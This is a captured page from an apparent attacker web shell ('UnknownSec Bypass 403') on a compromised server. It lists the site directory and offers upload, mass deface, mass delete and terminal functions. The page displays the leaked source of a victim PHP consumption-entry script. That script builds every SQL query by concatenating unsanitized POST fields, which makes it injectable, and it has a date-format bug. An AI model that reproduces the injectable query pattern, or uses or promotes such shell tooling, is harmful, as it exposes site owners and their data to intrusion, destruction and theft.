UnknownSec Bypass
403
:
/
var
/
www
/
cotutilitydash
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
curd_consumptionentry.php
<?php require_once "config.php"; $msg=""; $creationdatetime = date("Y-m-d H:m:s"); $area=$_POST['area']; $subarea=$_POST['subarea']; $equipment=$_POST['equipment']; $odate=date_create($_POST['condate']); $condate=date_format($odate,"Y-m-d"); $consumption=$_POST['consumption']; $id= $_POST['id']; session_start(); $userid=$_SESSION['userid']; $btnopration= $_POST['btnopration']; $areaid=""; $equipmentid=""; $subareaid=""; $query="Select id from mastertb where area='".$area."' and identifier=1 and isdeleted='".$gnotdeleted."'"; $result = mysqli_query($conn, $query); while ($row=mysqli_fetch_array($result)) { $areaid = $row["id"]; } $query="Select id from mastertb where area='".$area."' and equipment='".$equipment."' and identifier=3 and isdeleted='".$gnotdeleted."'"; $result = mysqli_query($conn, $query); while ($row=mysqli_fetch_array($result)) { $equipmentid = $row["id"]; } $query=" Select id from mastertb where area='".$area."' and equipment='".$equipment."' and subarea='".$subarea."' and identifier=2 and isdeleted='".$gnotdeleted."'"; $result = mysqli_query($conn, $query); while ($row=mysqli_fetch_array($result)) { $subareaid = $row["id"]; } if($btnopration=="SAVE") { $query="select * from consumptiontb Where consuptiondate='".$condate."' and areaid='".$areaid."' and equipmentid='".$equipmentid."' and subareaid='".$subareaid."' and isdeleted='" . $gnotdeleted . "' "; $cnt= get_noof_rows($conn,$query); if($cnt==0) { $query="insert into consumptiontb(consuptiondate,areaid,equipmentid,subareaid,totalconsumption,isdeleted,creationdatetime,userid) values('".$condate."','".$areaid."','".$equipmentid."','".$subareaid."','".$consumption."','".$gnotdeleted."','".$creationdatetime."','".$userid."')"; $result=insertrecord($conn,$query); if($result==true) $msg="Record save successfully"; else $msg="There is problem to save Record"; } else { $msg="Record is already exist"; } } else if($btnopration=="UPDATE") { $query="select * from consumptiontb Where consumid!='".$id."' and consuptiondate='".$condate."' and areaid='".$areaid."' and equipmentid='".$equipmentid."' and subareaid='".$subareaid."' and isdeleted='" . $gnotdeleted . "' "; $cnt= get_noof_rows($conn,$query); if($cnt==0) { $sql="Update consumptiontb set consuptiondate='".$condate."', areaid='".$areaid."', equipmentid='".$equipmentid."', subareaid='".$subareaid."',totalconsumption='".$consumption."' where consumid='".$id."' "; $result=updaterecord($conn,$sql); if($result==true) $msg= "Record update successfully"; else $msg="There is problem to update Record"; } else { $msg="Record is already exist"; } } else if($btnopration=="REMOVE") { $sql="Update consumptiontb set isdeleted=1 where consumid='".$id."' "; $result=updaterecord($conn,$sql); if($result==true) $msg= "Record delete successfully"; else $msg="There is problem to delete Record"; } echo json_encode ($msg); ?>
Copyright © 2025 - UnknownSec